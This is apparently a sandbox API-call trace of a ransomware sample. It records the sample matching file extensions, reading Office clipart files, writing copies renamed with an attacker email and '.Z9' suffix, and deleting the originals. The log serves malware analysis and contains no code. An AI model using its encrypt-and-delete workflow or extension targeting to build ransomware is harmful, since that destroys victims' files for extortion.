	[0092.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.860] lstrlenW (lpString=".rar") returned 4
	[0092.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.860] lstrlenW (lpString=".bz2") returned 4
	[0092.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.860] lstrlenW (lpString=".7z") returned 3
	[0092.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0092.860] lstrlenW (lpString=".dbf") returned 4
	[0092.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0092.860] lstrlenW (lpString=".1cd") returned 4
	[0092.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0092.860] lstrlenW (lpString=".jpg") returned 4
	[0092.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.860] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.860] lstrlenW (lpString="FD00438_.WMF") returned 12
	[0092.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.861] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5098) returned 1
	[0092.861] CloseHandle (hObject=0x390) returned 1
	[0092.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220
	[0092.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.861] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.861] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.861] GetLastError () returned 0x0
	[0092.862] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x13ea, lpOverlapped=0x0) returned 1
	[0092.863] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x13f0, lpOverlapped=0x0) returned 1
	[0092.864] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.864] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.864] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.864] CloseHandle (hObject=0x2bc) returned 1
	[0092.864] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.864] SetEndOfFile (hFile=0x390) returned 1
	[0092.865] CloseHandle (hObject=0x390) returned 1
	[0092.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1
	[0092.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0092.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0092.866] lstrlenW (lpString=".doc") returned 4
	[0092.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.866] lstrlenW (lpString=".docx") returned 5
	[0092.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.866] lstrlenW (lpString=".pdf") returned 4
	[0092.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.866] lstrlenW (lpString=".xls") returned 4
	[0092.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.866] lstrlenW (lpString=".xlsx") returned 5
	[0092.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.866] lstrlenW (lpString=".ppt") returned 4
	[0092.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0092.866] lstrlenW (lpString=".zip") returned 4
	[0092.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.866] lstrlenW (lpString=".rar") returned 4
	[0092.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.866] lstrlenW (lpString=".bz2") returned 4
	[0092.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.866] lstrlenW (lpString=".7z") returned 3
	[0092.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0092.866] lstrlenW (lpString=".dbf") returned 4
	[0092.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0092.866] lstrlenW (lpString=".1cd") returned 4
	[0092.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0092.867] lstrlenW (lpString=".jpg") returned 4
	[0092.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0092.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0092.867] lstrlenW (lpString=".doc") returned 4
	[0092.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.868] lstrlenW (lpString=".docx") returned 5
	[0092.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.868] lstrlenW (lpString=".pdf") returned 4
	[0092.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.868] lstrlenW (lpString=".xls") returned 4
	[0092.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.868] lstrlenW (lpString=".xlsx") returned 5
	[0092.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.868] lstrlenW (lpString=".ppt") returned 4
	[0092.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0092.868] lstrlenW (lpString=".zip") returned 4
	[0092.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.868] lstrlenW (lpString=".rar") returned 4
	[0092.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.868] lstrlenW (lpString=".bz2") returned 4
	[0092.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.868] lstrlenW (lpString=".7z") returned 3
	[0092.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0092.868] lstrlenW (lpString=".dbf") returned 4
	[0092.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0092.868] lstrlenW (lpString=".1cd") returned 4
	[0092.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68
	[0092.868] lstrlenW (lpString=".jpg") returned 4
	[0092.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.869] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.869] lstrlenW (lpString="FD00455_.WMF") returned 12
	[0092.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.869] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=8926) returned 1
	[0092.869] CloseHandle (hObject=0x390) returned 1
	[0092.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220
	[0092.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.870] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.870] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.871] GetLastError () returned 0x0
	[0092.871] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x22de, lpOverlapped=0x0) returned 1
	[0092.872] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x22e0, lpOverlapped=0x0) returned 1
	[0092.873] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.873] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.874] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.874] CloseHandle (hObject=0x2bc) returned 1
	[0092.874] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.874] SetEndOfFile (hFile=0x390) returned 1
	[0092.875] CloseHandle (hObject=0x390) returned 1
	[0092.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1
	[0092.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0092.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0092.876] lstrlenW (lpString=".doc") returned 4
	[0092.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.876] lstrlenW (lpString=".docx") returned 5
	[0092.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.876] lstrlenW (lpString=".pdf") returned 4
	[0092.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.876] lstrlenW (lpString=".xls") returned 4
	[0092.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.876] lstrlenW (lpString=".xlsx") returned 5
	[0092.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.876] lstrlenW (lpString=".ppt") returned 4
	[0092.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0092.876] lstrlenW (lpString=".zip") returned 4
	[0092.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.876] lstrlenW (lpString=".rar") returned 4
	[0092.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.876] lstrlenW (lpString=".bz2") returned 4
	[0092.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.876] lstrlenW (lpString=".7z") returned 3
	[0092.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0092.876] lstrlenW (lpString=".dbf") returned 4
	[0092.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0092.876] lstrlenW (lpString=".1cd") returned 4
	[0092.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0092.876] lstrlenW (lpString=".jpg") returned 4
	[0092.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0092.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0092.877] lstrlenW (lpString=".doc") returned 4
	[0092.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.877] lstrlenW (lpString=".docx") returned 5
	[0092.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.877] lstrlenW (lpString=".pdf") returned 4
	[0092.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.877] lstrlenW (lpString=".xls") returned 4
	[0092.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.877] lstrlenW (lpString=".xlsx") returned 5
	[0092.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.877] lstrlenW (lpString=".ppt") returned 4
	[0092.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0092.877] lstrlenW (lpString=".zip") returned 4
	[0093.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.141] lstrlenW (lpString=".rar") returned 4
	[0093.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.141] lstrlenW (lpString=".bz2") returned 4
	[0093.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.141] lstrlenW (lpString=".7z") returned 3
	[0093.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0093.141] lstrlenW (lpString=".dbf") returned 4
	[0093.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0093.141] lstrlenW (lpString=".1cd") returned 4
	[0093.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68
	[0093.142] lstrlenW (lpString=".jpg") returned 4
	[0093.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.142] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.142] lstrlenW (lpString="FD00965_.WMF") returned 12
	[0093.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0093.551] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=15164) returned 1
	[0093.551] CloseHandle (hObject=0x398) returned 1
	[0093.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220
	[0093.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0093.551] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.551] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.552] GetLastError () returned 0x0
	[0093.552] ReadFile (in: hFile=0x398, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x3b3c, lpOverlapped=0x0) returned 1
	[0093.559] WriteFile (in: hFile=0x2b8, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x3b40, lpOverlapped=0x0) returned 1
	[0093.560] ReadFile (in: hFile=0x398, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.560] WriteFile (in: hFile=0x2b8, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.560] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.560] CloseHandle (hObject=0x2b8) returned 1
	[0093.560] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.560] SetEndOfFile (hFile=0x398) returned 1
	[0093.561] CloseHandle (hObject=0x398) returned 1
	[0093.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1
	[0093.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0093.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0093.562] lstrlenW (lpString=".doc") returned 4
	[0093.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.562] lstrlenW (lpString=".docx") returned 5
	[0093.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.562] lstrlenW (lpString=".pdf") returned 4
	[0093.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.562] lstrlenW (lpString=".xls") returned 4
	[0093.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.562] lstrlenW (lpString=".xlsx") returned 5
	[0093.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.562] lstrlenW (lpString=".ppt") returned 4
	[0093.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0093.562] lstrlenW (lpString=".zip") returned 4
	[0093.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.562] lstrlenW (lpString=".rar") returned 4
	[0093.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.562] lstrlenW (lpString=".bz2") returned 4
	[0093.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.562] lstrlenW (lpString=".7z") returned 3
	[0093.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0093.562] lstrlenW (lpString=".dbf") returned 4
	[0093.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0093.562] lstrlenW (lpString=".1cd") returned 4
	[0093.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0093.562] lstrlenW (lpString=".jpg") returned 4
	[0093.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0093.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0093.562] lstrlenW (lpString=".doc") returned 4
	[0093.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.562] lstrlenW (lpString=".docx") returned 5
	[0093.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.563] lstrlenW (lpString=".pdf") returned 4
	[0093.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.563] lstrlenW (lpString=".xls") returned 4
	[0093.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.563] lstrlenW (lpString=".xlsx") returned 5
	[0093.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.563] lstrlenW (lpString=".ppt") returned 4
	[0093.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
